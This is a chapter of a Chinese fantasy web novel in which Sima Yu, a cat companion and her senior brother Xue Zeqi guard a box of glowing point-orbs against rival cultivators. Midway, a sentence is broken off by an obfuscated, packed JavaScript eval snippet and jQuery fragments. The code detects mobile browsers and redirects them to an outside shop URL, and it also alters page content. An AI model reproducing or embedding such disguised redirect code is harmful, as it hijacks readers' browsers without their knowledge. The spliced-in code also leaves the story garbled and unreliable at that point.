松软的雪踩起来簌簌作响,天上开始落起了白,司渔抬头,伸手去接了一片雪花,大自然创造的奇妙晶体落到掌中,很快就化了。


    雪融成了水,冰凉的触感被温热替代,司渔低头看着水顺着指缝流逝,再抬头的时候,发现她周边出现了好多小绿球。


    眼熟,眼熟得不得了。


    猫感叹:“这不是我们要找的积分吗?怎么突然自己出现了,还这么多。”


    这密集程度,像是夏夜山野里成群结队的萤火虫。


    能看出来,这些“萤火虫”都是冲着司渔来的,毕竟那些光团就围着她转圈圈,一副她要是不收起来就要一直缠着的样子。


    “我现在看起来是不是像一块吸铁石?”司渔吐槽了一句,拿出一个盒子,周边的绿色光团如游鱼入海般涌入盒子。


    猫打趣:“你确实挺像的。”


    盒子被放在地上收集,猫和司渔站在盒子两边,呈现一副保护的姿态。


    绿光团全部都出现在这里并不是这里藏着的积分多,而是司渔拿了地脉灵力,那些绿光团亲近地脉,自然就从四面八方地跑过来找司渔了。


    进来的人那么多,肯定有光团就在那些人眼前飘走的情况,要是有人追过来,看见这样的场面不可能会不出手抢的。


    不仅要抢,还得站在道德制高点谴责,打着这种行为不公平的旗号过来行瓜分之事。


    司渔知道肯定有人会来,但她没想到第一个来的人居然会是薛泽漆。


    “大师兄……怎么是你?”


    望镜宗的目标一直都很明确,他们要找的是息壤,而不是收集积分冲榜刷排名。


    薛泽漆看见司渔其实也有些意外,他点了点头,问:“怎么突然这么大张旗鼓地收集积分了?”


    积分对宗门用处不大,他们一直都喜欢苟着,玩的就是悄悄学习,偷偷成功,然后惊艳所有人的套路。


    司渔想了想:“说来话长,我提炼关键说给你听昂。”


    薛泽漆点头,表情严肃。


    然后司渔秃噜出一句:“有个人跟我做交易,咱一手给积分,一手给息壤。”


    薛泽漆:“谁?”


    司渔:“皇帝。”


    自从沧澜皇族彻底断绝在叶成月这一代之后,往后能被称为皇帝的人,就只有一个人了。


    那个在叶青池死后迅速用雷霆手段接任,将两国合并,且向另外两国强势开战,声称要统一的又一开国皇帝——姜离华。


    她一直都是敢想敢做的人,没人会不佩服她的魄力。


    薛泽漆又问:“可信吗?”


    其实如果只有姜离华一个人的话,司渔不太相信息壤会在对方的手里,但姜离华背后站着的是姜陶。


    姜陶自己也说过她作为地脉之灵会拥有自己的意识,其实是因为姜离华,这位手腕厉害的帝王几乎可以说是给了她生命。


    地脉之灵啊,如此特殊的身份,她知道息壤消息的可能性,比他们在这里乱七八糟地找到的可能性要高多了。


    司渔点了点头,说:“赌一把。”


    这就是可以稍微信任,但不能完全保证的意思了,不过漫无目的乱转都要找,眼前有点线索的怎么也得抓住了。


    薛泽漆同意司渔的做法,并加入了护法之中。


    大师兄来的很快,同样的,来抢东西的人也来得很快。


    当一群穿着黑衣,看着斧头的人强势到来的时候,司渔脑子里飘过一行弹幕——“这是……斧头帮?!”


    原谅她虽然博览群书,但有时候都是选择性阅读,对于各大宗门特色和宗门名字并没有特意去关注。


    毕竟整个沧澜有五部,五部中大大小小的宗门无数,她还不一定会遇上,没必要去了解,只需要知道到了谁的地盘不去惹地头蛇就行了。


    连中城的地头蛇不是城主,在这里,城主反而更像是一个管理岗的打工仔,上下都不好太得罪的夹心饼干。


    这里不能惹的有三个,一个是开拍卖行的蓝孔雀,一个是守在宝塔上的定海神针,这最后一个则是万卷书楼的颜如玉。


    注意哈,这三个都不是他们名字,而是外号。


    连中城的这些地头蛇们也不知道是什么癖好,这名字就不爱传,就得喊称呼尊称,公子、大人、老板,大有一副工作时间请称呼职务的意思。


    “这是哪个宗门的啊?”司渔看向薛泽漆。


    大师兄年纪大,历练的经验多,想来是比她知道的要多一些的。


    结果大师兄只说了一句:“来抢东西的。”然后人就掠了出去,唰唰唰地就把人全给送出去了,这种比试倒是没有必要弄出人命,大师兄都是点到即止,然后让人自己退出的。


    司渔:“……”


    不要以为你跑得快,我就不知道你自己其实也不知道对方身份。


    薛泽漆咳了一声,退回原地,提醒了司渔一句:“专心一点,等会儿还有更多人。”


    “明白。”


    话落,周边就突然出现一群手拿飞镖,从头到脚裹得严严实实,宛若见不得人似的忍者手拿着飞镖出现。


    司渔冷脸出手,化风为刃,一边躲一边往前。


    薛泽漆见司渔出手,站在盒子旁边背着手,身上的气息颇为沉稳,像一棵苍劲的青松,只消看着就让人油然生起一股有人兜底的安心感。


    越来越多的人出现,乱七八糟的服饰,五花八门的武器,进了这个秘境后的一路都没碰见几个不熟的人,不去想不要紧,一想居然只数出火焰山三人组,以及和鄄未觉碰见的那些用弓箭的。


    啧,之前没碰见过的人,现在是要一次性见个遍了。


    司渔叹了口气,然后做了一个暂停的手势,道:“上来就打,还以多欺少,你们就不考虑谈判的吗?”


    对面人停了一下,面面相觑间还带着几分警惕,显然他们互相之间也是不能信任的陌生人关系。


    说真的,没有人在这种情况不会担心鹬蚌相争渔人得利的事,自己累死累活给他人做嫁衣,是谁都会觉得不甘心的程度。


    这个世界无私奉献的人本来就不多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442863|179999||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,更别说眼前的这些人还是信奉弱肉强食的修仙者。


    司渔勾唇:“你们是想要这个吗?”她指了指地上装小光团的盒子。


    有人不屑地嘁了一声,大喊:“真是废话!”


    “是不是废话你们说的可不算。”司渔指尖勾了勾,一个小光团晕晕乎乎地飘过来,有其他光团见状也想飘过来,被司渔给弹了回去。


    被弹飞的小光团跌跌撞撞地在空中翻滚,最后懵逼地掉进了盒子里,旁边本来想跟过去的小团子顿了顿,最后十分自觉地钻进了盒子里。


    要不是亲眼所见,杀鸡儆猴这一技巧,猫是绝对不会相信还能用在光团子上面的。


    猫:“……”


    该死,它到底是怎么从一个小光团那里看到谄媚和懵逼这两种情绪的。


    “它它它……它不是没有眼睛嘴巴和脑子的吗?!”


    司渔思考了一下,一本正经地说:“也许它们有,只是你不知道罢了。”


    猫:“你一本正经的是时候我就知道是在胡说八道了。”


    司渔微笑。


    她不说话的意思也十分明显,就是表示“你既然都知道我在胡说八道了,怎么还要在这里问?反正我又不可能会说真话。”


    猫实在是太懂了,它哼了一声,嘟囔:“你就算是不说,我也能自己猜到,永远恶趣味的混蛋。”


    又被猫给记恨上了啊,司渔摊手,扬声:“对面的,都看到了吧,并不是这个盒子有特殊功能,而是……”


    司渔露出一个笑:“我才是那个能号令它们的主人。”


    有人冷哼一声:“那正好,我们一起杀了你,这些积分自然溢散,一切不过回到一开始的情况,我们继续公平竞争。”


    司渔双手抱臂:“你想要公平竞争,但有人却不想哦~”


    那人顿了顿,扭头看向周围,发现有好几个人都眼神躲闪,明显不想和他对视。


    他心中一沉,眸中闪过一抹暗芒,瞬间怒气值上涨:“一群没骨气的家伙!”


    一句话骂了在场的所有人,在场的人眼神明显变得不一样,现在被针对的人就不止司渔和大师兄了,又多了一个易燃易爆炸,还想抢东西的家伙,暂时就称呼他为炸弹男。


    司渔一脸好整以暇地看着眼前的场面,露出一个玩味的笑。


    嘿嘿,这看起来还挺有趣的,果然她最爱看的就是这种内讧场面了,好看、爱看、多看。


    薛泽漆看了一眼司渔,心中无奈叹气。


    当初在未遮山的时候他就知道司渔不是什么很规矩的人,不过在相处过后他才发现,这家伙能比他知道的还要没规矩。


    比起她自己没规矩,更准确的应该是说,是司渔自己喜欢这种没有规矩的世界。


    有时候他真的想请个风水大师查查他们望镜宗的风水,问问到底为什么他们宗门老是能招到这种视规矩如无物的家伙,然后好好改改这祖坟冒青烟的风水。


    虽然有傻子出来拉仇恨,但奈何眼前的人实在是太多,炸弹男很快就被制服了。